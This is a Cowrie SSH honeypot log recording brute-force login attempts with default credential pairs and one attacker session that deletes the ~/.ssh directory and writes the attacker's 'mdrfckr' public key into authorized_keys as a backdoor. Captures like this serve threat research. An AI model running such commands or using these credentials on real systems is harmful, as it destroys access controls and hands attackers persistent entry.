{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51356,"dst_ip":"10.17.0.5","dst_port":22,"session":"81edf870ece0","protocol":"ssh","message":"New connection: 47.86.95.62:51356 (10.17.0.5:22) [session: 81edf870ece0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:44.113150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:44.629315Z","src_ip":"47.86.95.62","session":"81edf870ece0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:44.637988Z","src_ip":"47.86.95.62","session":"81edf870ece0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:45.956156Z","src_ip":"47.86.95.62","session":"81edf870ece0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:47.164018Z","src_ip":"47.86.95.62","session":"81edf870ece0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52640,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d02fef3090f","protocol":"ssh","message":"New connection: 47.86.95.62:52640 (10.17.0.5:22) [session: 0d02fef3090f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:53.182255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:53.186704Z","src_ip":"47.86.95.62","session":"0d02fef3090f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:53.392187Z","src_ip":"47.86.95.62","session":"0d02fef3090f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:54.009276Z","src_ip":"47.86.95.62","session":"0d02fef3090f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:55.216350Z","src_ip":"47.86.95.62","session":"0d02fef3090f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":42086,"dst_ip":"159.203.135.109","dst_port":22,"session":"f033ac2ae642","protocol":"ssh","message":"New connection: 165.154.23.26:42086 (159.203.135.109:22) [session: f033ac2ae642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:55.430555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:55.435972Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:55.670954Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"root123","message":"login attempt [oracle/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:56.586932Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:57.088469Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:57.092315Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:57.096622Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:57.545180Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:57.825785Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:57.829264Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.061004Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.064697Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52650,"dst_ip":"10.17.0.5","dst_port":22,"session":"11befab94b03","protocol":"ssh","message":"New connection: 47.86.95.62:52650 (10.17.0.5:22) [session: 11befab94b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.239104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.244108Z","src_ip":"47.86.95.62","session":"11befab94b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":43132,"dst_ip":"159.203.135.109","dst_port":22,"session":"8725530591a4","protocol":"ssh","message":"New connection: 165.154.23.26:43132 (159.203.135.109:22) [session: 8725530591a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.269606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.274753Z","src_ip":"165.154.23.26","session":"8725530591a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.455695Z","src_ip":"47.86.95.62","session":"11befab94b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:58.494884Z","src_ip":"165.154.23.26","session":"8725530591a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:59.069021Z","src_ip":"47.86.95.62","session":"11befab94b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:20:59.354434Z","src_ip":"165.154.23.26","session":"8725530591a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:00.440967Z","src_ip":"47.86.95.62","session":"11befab94b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:00.579151Z","src_ip":"165.154.23.26","session":"8725530591a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":44012,"dst_ip":"159.203.135.109","dst_port":22,"session":"66261f57c993","protocol":"ssh","message":"New connection: 165.154.23.26:44012 (159.203.135.109:22) [session: 66261f57c993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:00.798963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:00.807061Z","src_ip":"165.154.23.26","session":"66261f57c993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:01.037542Z","src_ip":"165.154.23.26","session":"66261f57c993","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:01.970625Z","src_ip":"165.154.23.26","session":"66261f57c993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:02.220124Z","src_ip":"165.154.23.26","session":"66261f57c993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:02.231002Z","src_ip":"165.154.23.26","session":"f033ac2ae642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.66.186","src_port":40694,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c21ec252bb2","protocol":"ssh","message":"New connection: 104.236.66.186:40694 (10.17.0.5:22) [session: 5c21ec252bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.582831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.588057Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.595522Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
